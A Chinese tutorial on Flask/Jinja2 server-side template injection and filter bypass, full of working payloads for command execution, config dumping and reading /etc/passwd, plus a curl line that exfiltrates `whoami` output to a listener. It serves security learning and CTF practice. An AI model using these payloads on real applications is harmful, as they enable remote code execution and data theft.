浅谈flask ssti 绕过原理
字数 1331 2025-08-19 12:41:11

Flask SSTI 绕过原理详解

前置知识

Python执行环境

  1. 作用域与字节码编译

    • Python根据作用域将代码编译为字节码
    • 生成PyCodeObject对象并与PyFrameObject关联
    • PyFrameObject包含运行所需的名字空间信息
  2. 作用域类型

    • local:函数内的局部变量
    • global:模块内的全局变量
    • builtin:Python内建函数(如open
  3. 模块间作用域

    • global仅限于模块内部
    • 模块A导入模块B,模块B的作用域对A不可见

函数对象

  • Python根据PyCodeObject和当前PyFrameObject生成PyFunctionObject
  • PyFunctionObject重要变量:
    • func_code:对应的PyCodeObject
    • func_globals:函数的global名字空间
    • Python3中可通过__globals__访问

类对象

  • 所有类都是type的实例,继承自object
  • 支持多继承,可通过basemro获取父类
  • 初始化时填充tp_dict用于搜索类的方法和属性
  • 特殊方法(如__repr__)默认指向slot方法,可被重写
  • Python操作符(如[1:2])通过特殊方法实现
  • 方法是对PyFunctionObject的包装,封装为PyMethodObject

Flask/Jinja2特性

  • 模板语法:

    • {{ ... }}:表达式,会渲染结果
    • {% ... %}:语句,可实现forif等逻辑
    • {% set %}:变量赋值
  • 重要文档:

命令执行构造方法

利用Flask内置函数

{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}
{{request.__init__.__globals__['__builtins__'].open('/flag').read()}}

获取配置信息

{{config}}
{{get_flashed_messages.__globals__['current_app'].config}}

通过基类查找子类

Python 2.7:

''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]

Python 3.7:

''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[1]
session.__class__.__mro__[1]
redirect.__class__.__mro__[1]

常见Payload

  1. 使用__globals__:
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')
  1. 不使用__globals__:
''.__class__.__mro__[2].__subclasses__()[60]()._module.__builtins__['__import__']("os").system("calc")

过滤绕过技术

前置知识

  1. Python魔术方法可实现字典、数组取值操作
  2. Jinja2特殊处理模板,可通过A['__init__']访问方法/属性
  3. attr过滤器可获取对象属性/方法
  4. Flask内置request对象获取请求信息:
    • request.args.name
    • request.cookies.name
    • request.headers.name
    • request.values.name
    • request.form.name

关键字过滤绕过

  1. 未过滤引号

    • 使用反转或拼接:
    {{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__snitliub__'[::-1]]['eval']('__import__("os").popen("ls").read()')}}
    
    {{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__buil'+'tins__'[::-1]]['eval']('__import__("os").popen("ls").read()')}}
    
  2. 过滤引号

    • 通过请求参数传递:
    // URL: ?a=eval
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.[request.args.a]('__import__("os").popen("ls").read()')
    
    // Cookie: aa=__class__;bb=__mro__;cc=__subclasses__
    {{((request|attr(request.cookies.get('aa'))|attr(request.cookies.get('bb'))|list).pop(-1))|attr(request.cookies.get('cc'))()}}
    
    • 拼接字符:
    {{(config.__str__()[2])+(config.__str__()[3])}}
    
    • 查出chr函数并赋值:
    {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
    {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}
    
    • 利用内置过滤器拼接字符:
    {%set pc = g|lower|list|first|urlencode|first%}  # 获取%
    {%set c=dict(c=1).keys()|reverse|first%}  # 获取'c'
    {%set udl=dict(a=pc,c=c).values()|join %}  # 拼接'%c'
    {%set udl2=udl%(95)%}{{udl}}  # 得到任意字符
    

特殊字符过滤绕过

  1. 过滤[

    • 使用__getitem__pop
    ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
    ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
    ''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('calc')
    
  2. 过滤双花括号{{}}

    • 使用{%%}标记(无回显):
    {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
    
    • 使用{%print%}标记(有回显):
    {%print config%}
    
  3. 过滤下划线

    • 使用与字符串过滤相同的绕过技术

参考资料

  1. Python沙箱逃逸与SSTI
  2. Python沙箱逃逸小结
  3. Flask之SSTI模板注入
  4. 浅析Python Flask SSTI
  5. Python沙箱逃逸
  6. Python沙箱逃逸总结
Flask SSTI 绕过原理详解 前置知识 Python执行环境 作用域与字节码编译 : Python根据作用域将代码编译为字节码 生成 PyCodeObject 对象并与 PyFrameObject 关联 PyFrameObject 包含运行所需的名字空间信息 作用域类型 : local :函数内的局部变量 global :模块内的全局变量 builtin :Python内建函数(如 open ) 模块间作用域 : global 仅限于模块内部 模块A导入模块B,模块B的作用域对A不可见 函数对象 Python根据 PyCodeObject 和当前 PyFrameObject 生成 PyFunctionObject PyFunctionObject 重要变量: func_code :对应的 PyCodeObject func_globals :函数的global名字空间 Python3中可通过 __globals__ 访问 类对象 所有类都是 type 的实例,继承自 object 支持多继承,可通过 base 、 mro 获取父类 初始化时填充 tp_dict 用于搜索类的方法和属性 特殊方法(如 __repr__ )默认指向slot方法,可被重写 Python操作符(如 [1:2] )通过特殊方法实现 方法是对 PyFunctionObject 的包装,封装为 PyMethodObject Flask/Jinja2特性 模板语法: {{ ... }} :表达式,会渲染结果 {% ... %} :语句,可实现 for 、 if 等逻辑 {% set %} :变量赋值 重要文档: Jinja2内置过滤器 Flask文档 命令执行构造方法 利用Flask内置函数 获取配置信息 通过基类查找子类 Python 2.7: Python 3.7: 常见Payload 使用 __globals__ : 不使用 __globals__ : 过滤绕过技术 前置知识 Python魔术方法可实现字典、数组取值操作 Jinja2特殊处理模板,可通过 A['__init__'] 访问方法/属性 attr 过滤器可获取对象属性/方法 Flask内置 request 对象获取请求信息: request.args.name request.cookies.name request.headers.name request.values.name request.form.name 关键字过滤绕过 未过滤引号 : 使用反转或拼接: 过滤引号 : 通过请求参数传递: 拼接字符: 查出 chr 函数并赋值: 利用内置过滤器拼接字符: 特殊字符过滤绕过 过滤 [ : 使用 __getitem__ 或 pop : 过滤双花括号 {{}} : 使用 {%%} 标记(无回显): 使用 {%print%} 标记(有回显): 过滤下划线 : 使用与字符串过滤相同的绕过技术 参考资料 Python沙箱逃逸与SSTI Python沙箱逃逸小结 Flask之SSTI模板注入 浅析Python Flask SSTI Python沙箱逃逸 Python沙箱逃逸总结